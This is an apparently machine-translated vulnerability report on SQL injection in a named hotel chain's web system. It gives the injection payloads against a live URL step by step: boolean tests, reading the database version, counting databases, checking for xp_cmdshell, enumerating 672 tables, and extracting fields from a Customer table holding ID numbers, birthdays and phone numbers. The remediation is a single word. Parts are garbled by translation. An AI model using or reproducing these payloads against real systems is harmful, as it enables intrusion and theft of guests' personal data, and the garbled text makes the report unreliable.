SQL injection vulnerability in a substation of GreenTree Inn

SQL injection vulnerability in a substation of GreenTree Inn

A substation of GreenTree Inn SQL injection vulnerability http://system.greentree.com.cn: 8080/frontinvest/roomdetail. aspx? Country code = 531001

Enter 'and '1' = '1

Enter 'and '1' = '2

View database version
Http://system.greentree.com.cn: 8080/frontinvest/roomdetail. aspx
? Response code = 531001 'and 1 = (select @ VERSION) and '1' = '1

Current Database Name

Local service name


24 Databases
Http://system.greentree.com.cn: 8080/frontinvest/roomdetail. aspx
? Response code = 531001 'and 24 = (select count (name) from master. dbo. sysdatabases) and '1' = '1

XP_CMDSHELL exists
Http://system.greentree.com.cn: 8080/frontinvest/roomdetail. aspx?
Repeated code = 531001 'and 1 = (Select count (name) FROM master. dbo. sysobjects Where xtype = 'X' AND name = 'xp _ Your shell') and '1' = '1

XP_regread extended stored procedure exists

Explosive table
Http://system.greentree.com.cn: 8080/frontinvest/roomdetail. aspx?
Export Code = 531001 'and 1 = (select top 1 name from sysobjects where xtype = 'U') and '1' = '1


Select top 1 name from sysobjects where xtype = 'U' and name not in ('turnstable', 'crscount ')
Select top 1 name from sysobjects where xtype = 'U' and name not in ('turnstable', 'crscount ', 'blacklist ')
Select top 1 name from sysobjects where xtype = 'U' and name not in ('turnstable', 'crscount ', 'blacklist', 'iccard _ request ','m _ initrebate ', 'customer ')
A total of 672 tables are not listed here.
Http://system.greentree.com.cn: 8080/frontinvest/roomdetail. aspx?
Export Code = 531001 'and 672 = (select count (name) from sysobjects where xtype = 'U') and '1' = '1

The table field here uses the Customer as an example for 39 Fields

As follows:
CustomerCode
FirstName
LastName
MiddleName
NickName
Gender
Birthday
NationalityID
Race
Title
Language1
Language2
CustomerTypeID
TravelAgentID
CustomerOrigin
Region1
Region2
Note1
Note2
Company
Address
Telephone
Zip
VisaID
ExpirationDate
IDTypeID
IDNumber
VIPLevel
VIPNumber
CreateDate
UploadFlag
Priority
Mobile
CompanyTel
CompanyFax
MemberType
MemberNo
UploadDate
Response Code
View a field
Http://system.greentree.com.cn: 8080/frontinvest/roomdetail. aspx
? Response code = 531001 'and 1 = (select top 1 FirstName from Customer) and '1' = '1

Solution:

Filter